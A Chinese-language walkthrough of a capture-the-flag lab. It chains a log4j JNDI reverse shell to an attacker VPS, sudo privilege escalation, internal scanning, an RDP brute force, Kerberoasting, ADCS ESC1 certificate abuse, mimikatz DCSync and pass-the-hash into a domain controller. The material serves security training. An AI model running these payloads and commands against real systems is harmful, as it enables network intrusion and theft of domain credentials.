说明
Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
技术
Solr、AD CS、SMB、Kerberos、域渗透
第一个flag
log4j RCE
扫描外网IP
发现solr存在log4j的组件,测试是否存在rce
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
dnslog回显
JNDI反弹shell,在VPS上开启
# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx#开启监听
nc -lvvp 5555
payload
${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}
发送请求
GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
成功反弹shell
sudo提权
sudo -l
sudo grc --help
sudo grc --pty whoami
查找flag
sudo grc --pty find / -name flag*
输出flag
sudo grc --pty cat /root/flag/flag01.txt
第二个flag
内网渗透
出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)
172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13[->]CA01[->]172.22.9.13
[*] 172.22.9.7 [+]DC XIAORANG\XIAORANG-DC
[*] 172.22.9.26 XIAORANG\DESKTOP-CBKTVMO
[+] NetInfo:
[*]172.22.9.26[->]DESKTOP-CBKTVMO[->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7[->]XIAORANG-DC[->]172.22.9.7
[*] 172.22.9.13 XIAORANG\CA01
[*] WebTitle:http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19 code:200 len:612 title:Welcome to nginx!
[*] 172.22.9.47 WORKGROUP\FILESERVER Windows 6.1
[*] 172.22.9.47 (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin
发现以下资产
172.22.9.19 入口IP
172.22.9.7 DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA
根据提示,文件服务器应该存在smb的共享,进一步收集信息
注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描
sudo grc --pty nmap -sT -A 172.22.9.47
使用 smbclient 连接共享
proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?
第三个flag
数据库文件中有几个用户名和密码
rdp破解
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
获得了两个账号,但是无法远程登录
Kerberoast攻击
使用GetUserSPNs.py寻找注册在域用户下的SPN
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本
hashcat64.exe -m 13100 1.txt rockyou.txt
得到zhangxia/MyPass2@@6,使用账号密码远程登录即可
注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限
ADCS ESC1
使用Certify.exe定位漏洞
Certify.exe find /vulnerable
ESC1利用前提条件:
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
为域管申请证书
Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
转换格式
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
请求TGT、PTT
因为导出证书转换的时候并没有输入密码,所以这里密码留空就行
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获取到域管的票据后导出哈希
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
哈希传递
PTH 172.22.9.26
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
第四个flag
PTH DC
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7